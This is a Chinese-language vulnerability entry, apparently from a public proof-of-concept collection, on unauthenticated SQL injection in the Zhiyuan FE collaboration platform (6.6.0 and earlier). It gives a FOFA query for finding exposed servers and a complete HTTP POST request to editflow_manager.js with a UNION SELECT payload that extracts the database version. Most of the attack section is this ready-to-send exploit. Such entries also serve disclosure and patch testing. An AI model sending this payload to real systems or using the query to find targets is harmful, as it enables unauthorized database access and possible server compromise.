Z2-2致远互联-FE-移动协作平台-SQL

漏洞描述：

致远互联FE协作办公平台 editflow_manager.js、validate.jsp等接口处存在SQL注入漏洞,未经身份验证的攻击者可以通过此漏洞获取数据库敏感信息，深入利用可获取服务器权限。

影响版本：

```
FE协作办公平台 <= 6.6.0
```

网络测绘：

fofa语法：

FOFA：app="致远互联-FE"

漏洞复现：

payload：

```
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0
Connection: close
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded

option=2&GUID=-1%27+union+select+%40%40version--+
```

效果图:
查询数据库版本